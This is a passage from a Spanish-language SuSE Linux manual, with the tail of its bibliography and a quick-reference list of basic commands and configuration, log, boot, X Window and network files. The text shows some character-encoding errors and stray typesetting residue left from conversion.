  34765.  
  34766.  
  34767.  
  34768. [Rub98]           Rubini,  Alessandro:   Linux-GerΣtetreiber.   O'Reilly & Associates,  Inc.,  1998. ~
  34769.                   (ISBN 3-89721-122-X)
  34770. [SB92]            Schoonover,  M. ;  Bowie,  J.:   GNU Emacs.   Addison Wesley GmbH, 1992. ~
  34771.                   (ISBN 0-201-56345-2)
  34772.  
  34773. [Sch98]           Scheiderer, Jⁿrgen:  Sicherheit Kostenlos - Firewall mit Linux.  In: iX  12 (1998)
  34774.  
  34775. [Sto98]           Stoll, Clifford:  Kuckucksei; Die Jagd auf die deutschen Hacker, die das Pentagon
  34776.                   knackten.  Fischer-TB.-Vlg., 1998. ~  (ISBN 3596139848)
  34777.  
  34778. [The96]           The  XFree86TM  -Team:    XF86Config(4/5)  -  Configuration  File  for  Xfree86TM  ,
  34779.                   1996. ~  Manual-Page zu XFree86TM
  34780.  
  34781. [tif]
  34782.  
  34783. [TSP93]           Todino,  Grace  ;  Strang,  John  ;  Peek,  Jerry:    Learning  the  UNIX  operating
  34784.                   system.  O'Reilly & Associates, Inc., 1993. ~  (ISBN 1-56592-060-0)
  34785.  
  34786. [Wel94]           Welsh, Matt:   Linux Installation and Getting Started.  2.  SuSE GmbH, 1994. ~
  34787.                   (ISBN 3-930419-03-3)
  34788.  
  34789. [WK95]            Welsh,  Matt  ;  Kaufman,  Lars:   Running  Linux.   O'Reilly  &  Associates,  Inc.,
  34790.                   1995. ~  (ISBN 1-56592-100-3)
  34791.  
  34792. [WK98]            Welsh, Matt ; Kaufman, Lars:  Linux ~ Wegweiser zur Installation & Konfigura-
  34793.                   tion.  2.  O'Reilly & Associates, Inc., 1998. ~  (ISBN 3-930673-58-4)
  34794.  
  34795. [WWH98]           Witherspoon, Craig ; Witherspoon, Coletta ; Hall, Jon:  Linux fⁿr Dummies.
  34796.                   1.  International Thomson Publishing, 1998. ~  (ISBN 3-8266-2725-3)
  34797.  
  34798.  
  34799.                                                                                                                                    *
  34800.  *   549
  34801. Referencia:  Comandos  y  ficheros  importantes
  34802.  
  34803. Los espacios (ingl. blanks) de los comandos son ''separadores'' y son impor-
  34804. tantes para que se acepten los comandos;  hay que introducirlos con la tecla
  34805. espaciadora.   Ver  tambiΘn  la  leyenda  en  el  apartado  1.3  en  la  pßgina  6La
  34806. leyenda ~ o lo que significa ''tierra:   #  ls''section.1.3.
  34807.  
  34808.  
  34809. Informaci≤n y documentaci≤n
  34810.  
  34811.   less  <fichero>                               visualizar fichero de texto
  34812.   cd  <directorio>                              cambiar a un directorio
  34813.                                                 (falso: cd  Directorio            ~ ''costumbre de DOS'')
  34814.   ls  -l  <dir_o_fichero>                       ver contenido directorio o propiedad fichero
  34815.   rpm  -qi  <paquete>                           informaci≤n sobre un paquete
  34816.   man  <comando>                                Manpage sobre un comando
  34817.   /usr/doc/howto                                HOWTOs que contestan muchas preguntas
  34818.   /usr/doc/packages/*                           documentaci≤n acerca de los paquetes
  34819.   /usr/doc/packages/i4l/README.Quick
  34820.                                                 documentaci≤n actual sobre RDSI
  34821.  
  34822.  
  34823. Ficheros de configuraci≤n generales y registros
  34824.  
  34825.   ~                                             sin≤nimo para el directorio Home
  34826.   /etc                                          directorio de ficheros de configuraci≤n
  34827.   /etc/modules.conf                             carga automßtica de m≤dulos
  34828.   /etc/rc.config                                fichero de configuraci≤n principal de SuSE     Linux.
  34829.   /etc/rc.config.d                              directorio de componentes de /etc/rc.config
  34830.   /etc/profile                                  fichero de configuraci≤n de la shell de ''login'' (bash )
  34831.   /etc/profile.d                                directorio de componentes de /etc/profile
  34832.   ~/.profile                                    extensiones personalizadas de /etc/profile
  34833.                                                 ver ~/.bashrc y ~/.bashrc_login
  34834.  
  34835.  
  34836.   /var/log                                      directorio de registro de mensajes del sistema
  34837.   /var/log/messages                             registros generales de mensajes del sistema
  34838.   /var/log/boot.msg                             mensajes del kernel durante el arranque
  34839.  
  34840.  
  34841. Arranque del sistema
  34842.  
  34843.   /etc/lilo.conf                                fichero de configuraci≤n del LILO
  34844.   /sbin/init.d                                  directorio con scripts de arranque
  34845.  
  34846.  
  34847. Configuraci≤n del sistema X Window
  34848.  
  34849.   /etc/XF86Config                               fichero de configuraci≤n del servidor X
  34850.   ~/.X.err                                      mensajes del servidor X
  34851.  
  34852.   /var/X11R6/bin/X --> /usr/X11R6/bin/XF86_xxxx                                            el servidor X
  34853.  
  34854.  
  34855. Red
  34856.  
  34857.   /sbin/ifconfig                                mostrar configuraci≤n de las interfaces de red
  34858.   /sbin/route  -n                               mostrar tabla de ''routing''
  34859.   ping  <n·mero  IP>                            probar acceso a un host
  34860.